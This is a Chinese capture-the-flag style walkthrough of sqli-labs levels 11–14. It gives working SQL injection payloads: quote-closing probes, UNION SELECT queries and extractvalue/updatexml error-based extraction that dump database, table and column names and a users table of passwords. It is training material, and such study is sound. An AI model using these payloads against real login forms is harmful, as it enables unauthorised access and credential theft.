SQL注入【sqli靶场第11-14关】(三)
SQL注入【sqli靶场第11-14关】(三)★★免责声明★★
文章中涉及的步伐(方法)可能带有攻击性,仅供安全研究与学习之用,读者将信息做其他用途,由Ta负担全部法律及连带责任,文章作者不负担当何法律及连带责任。
0、总体思绪
先确认是否可以SQL注入,使用单双引号,1/0,括号测试 ' " 1/0 ),页面显示不同内容或相应长度来确定。存在SQL注入后则开始构造轮子举行验证,猜出数据库,用户名,表名,字段名,有没有文件漏洞等。
为方便验证提交拦截到BP,右击到Repeater修改参数值举行验证看相应内容。
特殊字符说明
+表示空格
--表示注释以下内容验证都是在uname=后面构造举行验证。
https://img2024.cnblogs.com/blog/338385/202411/338385-20241114092850774-534815082.jpg
1、Less11
POST - Error Based - Single quotes- String
1.1、判断是否存在SQL注入
正常相应长度
https://img2024.cnblogs.com/blog/338385/202411/338385-20241114092918262-1281702022.jpg
输入带单引号',相应长度有变化
https://img2024.cnblogs.com/blog/338385/202411/338385-20241114092930268-1887419455.jpg
往下拉看到有提示错误信息,可以确定可以SQL注入
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '123' LIMIT 0,1' at line 11.2、确定查询字段个数
从界面上看应该是2个,但照旧以确定结果为准
# 输入内容
'+order+by+3--+
# 关键结果
Unknown column '3' in 'order clause'</br>
# 修改为2
'+order+by+2--+
# 关键结果
Your Login name:admin
Your Password:admin所以可以确定的是查询字段是2个,刚好又是我输入的是弱口令账户:admin,后面密码匹配条件又被我注释了,账号密码就拿到了,是可以登录成功。接下来看是否可拿到其他数据,比如数据库等。
https://img2024.cnblogs.com/blog/338385/202411/338385-20241114092947846-963477779.jpg
1.3、联合查询
通过union语句方式发现没办法拿到其他数据,需要实验报错函数
# 验证内容1
'+and+1=2+union+select+1,2--+
# 输出内容
Your Login name:1
Your Password:2
# 验证内容2
'+and+1=1+union+select+1,2--+
# 验证内容2
'+and+1=1+union+select+database(),user()--+
# 输出内容
Your Login name:admin
Your Password:admin1.4、报错函数
1.4.1、获取数据库名和账号
报错函数extractvalue,0x7e是~的ASCII码,字符型后面有加单引号,数字型没有,
# 字符型
extractvalue(1,concat(0x7e,(select+user()),0x7e))='1
#数字型
extractvalue(1,concat(0x7e,(select+user()),0x7e))=1根据报错函数获取到数据库名,登录名
# 输入内容
'and+extractvalue(1,concat(0x7e,(select+database()),0x7e))='1
# 输出内容
XPATH syntax error: '~security~'</br>
# 输入内容
'and+extractvalue(1,concat(0x7e,(select+user()),0x7e))='1
# 输出内容
XPATH syntax error: '~root@localhost~'</br>报错函数updatexml,字符型后面有加单引号,数字型没有,以下的函数结果和上面的内容获取的结果是一样的
# 字符型
(updatexml(1,concat(0x7e,(select+user()),0x7e),1))='1
#数字型
(updatexml(1,concat(0x7e,(select+user()),0x7e),1))=11.4.2、获取表名
使用updatexml获取库的表名,0x23是#的ASCII码
# 输入内容
'and+(updatexml(1,concat(0x23,(select+group_concat(table_name)+from+information_schema.tables+where+table_schema='security')),1))='1
# 输出内容
XPATH syntax error: '#emails,referers,uagents,users'</br>从获取到的数据库表名,users应该就是存储数据库登录名的表了。
注意:在靶场实行过程中可获取:数据库=>表=>字段=>数据,但在实战过程中,到数据库这个步骤就行,不要去查数据。
1.4.3、获取表对应字段
# 输入内容
'and+(updatexml(1,concat(0x23,(select+group_concat(column_name)+from+information_schema.columns+where+table_schema='security'+and+table_name='users')),1))='1
# 输出内容
XPATH syntax error: '#id,username,password'</br>1.4.4、获取表数据
# 输入内容
'and+(updatexml(1,concat(0x23,(select+group_concat(id,'~',username,'~',password)+from+security.users)),1))='1
# 输出内容
XPATH syntax error: '#1~Dumb~Dumb,2~Angelina~I-kill-y'</br>1.5、验证登录
使用账号/密码:Dumb/Dumb,登录成功
https://img2024.cnblogs.com/blog/338385/202411/338385-20241114093011427-916797731.jpg
2、Less12
POST - Error Based - Double quotes- String-with twist
2.1、判断是否存在SQL注入
正常相应长度
https://img2024.cnblogs.com/blog/338385/202411/338385-20241114093026129-830758014.jpg
输入带单引号'发现没有变化
https://img2024.cnblogs.com/blog/338385/202411/338385-20241114093038072-1741365487.jpg
实验用双引号",相应长度有变化
https://img2024.cnblogs.com/blog/338385/202411/338385-20241114093052196-1655490280.jpg
往下拉看到有提示错误信息,可以确定可以SQL注入
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '123") LIMIT 0,1' at line 12.2、确定查询字段个数
从界面上看应该是2个,但照旧以确定结果为准
# 输入内容
"+order+by+3--+
# 输出结果
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'order by 3-- ") and password=("123") LIMIT 0,1' at line 1</br>从错误结果来看是少了括号)闭合,因此调整轮子加上括号)验证
# 输入内容
")+order+by+3--+
# 输出结果
Unknown column '3' in 'order clause'</br>
# 修改为2
")+order+by+2--+
# 输出结果
Your Login name:admin
Your Password:admin所以可以确定的是查询字段是2个,刚好又是我输入的是弱口令账户:admin,后面密码匹配条件又被我注释了,账号密码就拿到了,是可以登录成功。接下来看是否可拿到其他数据,比如数据库等。
注意后面的所有内容破解前面部门都是需要")把前面语句闭合。
2.3、联合查询
2.3.1、获取数据库名和账号
通过union语句方式查询数据库,用户名。
# 输入内容
")+and+1=2+union+select+database(),user()--+
# 输出结果
Your Login name:security
Your Password:root@localhost2.3.2、获取表名
上面得到的数据库,进一步获取表名
# 输入内容
")+and+1=2+union+select+1,group_concat(table_name)+from+information_schema.tables+where+table_schema='security'--+
# 输出结果
Your Login name:1
Your Password:emails,referers,uagents,users从获取到的数据库表名,users应该就是存储数据库登录名的表了。
2.3.3、获取表对应字段
# 输入内容
")+and+1=2+union+select+1,group_concat(column_name)+from+information_schema.columns+where+table_schema='security'+and+table_name='users'--+
# 输出结果
Your Login name:1
Your Password:id,username,password2.3.4、获取表数据
# 输入内容
")+and+1=2+union+select+1,group_concat(id,'~',username,'~',password)+from+security.users--+
# 输出结果
Your Login name:1
Your Password:1~Dumb~Dumb,2~Angelina~I-kill-you,3~Dummy~p@ssword,4~secure~crappy,5~stupid~stupidity,6~superman~genious,7~batman~mob!le,8~admin~admin,9~admin1~admin1,10~admin2~admin2,11~admin3~admin3,12~dhakkan~dumbo,14~admin4~admin4账号/密码有点多,随便找一个举行验证。
2.4、验证登录
使用账号/密码:admin3/admin3,登录成功
https://img2024.cnblogs.com/blog/338385/202411/338385-20241114093115335-1506780040.jpg
3、Less13
POST - Double Injection - Single quotes- String -with twist
3.1、判断是否存在SQL注入
正常相应长度
https://img2024.cnblogs.com/blog/338385/202411/338385-20241114093127502-1086834081.jpg
输入带单引号',相应长度有变化
https://img2024.cnblogs.com/blog/338385/202411/338385-20241114093138280-97211557.jpg
往下拉看到有提示错误信息,可以确定可以SQL注入
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '123') LIMIT 0,1' at line 13.2、确定查询字段个数
从界面上看应该是2个,但照旧以确定结果为准
# 输入内容
'+order+by+3--+
# 输出结果
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'order by 3-- ') and password=('123') LIMIT 0,1' at line 1</br>从错误结果来看是少了括号)闭合,因此调整轮子加上括号)验证
# 输入内容
')+order+by+3--+
# 输出结果
Unknown column '3' in 'order clause'</br>
# 修改为2
')+order+by+2--+
# 输出结果--没有报错内容所以可以确定的是查询字段是2个
注意后面的所有内容破解前面部门都是需要')把前面语句闭合。
3.3、联合查询
通过union语句方式发现没办法拿到其他数据,需要实验报错函数
# 输入内容
')+and+1=1+union+select+database(),user()--+https://img2024.cnblogs.com/blog/338385/202411/338385-20241114093153764-982493155.jpg
3.4、报错函数
3.4.1、获取数据库名和账号
根据报错函数获取到数据库名,登录名
# 输入内容
'and+extractvalue(1,concat(0x7e,(select+database()),0x7e))='1
# 输出内容
XPATH syntax error: '~security~'</br>
# 输入内容
'and+extractvalue(1,concat(0x7e,(select+user()),0x7e))='1
# 输出内容
XPATH syntax error: '~root@localhost~'</br>3.4.2、获取表名
使用updatexml获取库的表名,0x23是#的ASCII码,前面部门加上')用来闭合前面的语句,后面=1而不是='1,再加上--+用于注释后面的语句,获取了表名了。
# 输入内容
')and+(updatexml(1,concat(0x23,(select+group_concat(table_name)+from+information_schema.tables+where+table_schema='security')),1))=1--+
# 输出内容
XPATH syntax error: '#emails,referers,uagents,users'</br>https://img2024.cnblogs.com/blog/338385/202411/338385-20241114093220192-776966184.jpg
4、Less14
POST - Double Injection - Single quotes- String -with twist
4.1、判断是否存在SQL注入
正常相应长度
https://img2024.cnblogs.com/blog/338385/202411/338385-20241114093233044-2108223848.jpg
输入带双引号",相应长度有变化
https://img2024.cnblogs.com/blog/338385/202411/338385-20241114093245593-324573953.jpg
往下拉看到有提示错误信息,可以确定可以SQL注入
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '123" LIMIT 0,1' at line 1</br>4.2、确定查询字段个数
从界面上看应该是2个,但照旧以确定结果为准
# 输入内容
"+order+by+3--+
# 输出结果
Unknown column '3' in 'order clause'</br>
# 修改为2
"+order+by+2--+
# 输出结果--没有报错内容所以可以确定的是查询字段是2个。
4.3、联合查询
通过union语句方式发现没办法拿到其他数据,需要实验报错函数
# 输入内容
"+and+1=1+union+select+database(),user()--+https://img2024.cnblogs.com/blog/338385/202411/338385-20241114093301683-42507928.jpg
4.4、报错函数
4.4.1、获取数据库名和账号
根据报错函数获取到数据库名,登录名
# 输入内容
"and+extractvalue(1,concat(0x7e,(select+database()),0x7e))="1
# 输出内容
XPATH syntax error: '~security~'</br>
# 输入内容
"and+extractvalue(1,concat(0x7e,(select+user()),0x7e))="1
# 输出内容
XPATH syntax error: '~root@localhost~'</br>5、资料获取
sqli-labs靶场环境搭建请参考《靶场环境搭建【XP、pikachu、dvwa、sqli-labs】》
6、我的公众号
敬请关注我的公众号:大象只为你,持续更新技术知识中......
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
页:
[1]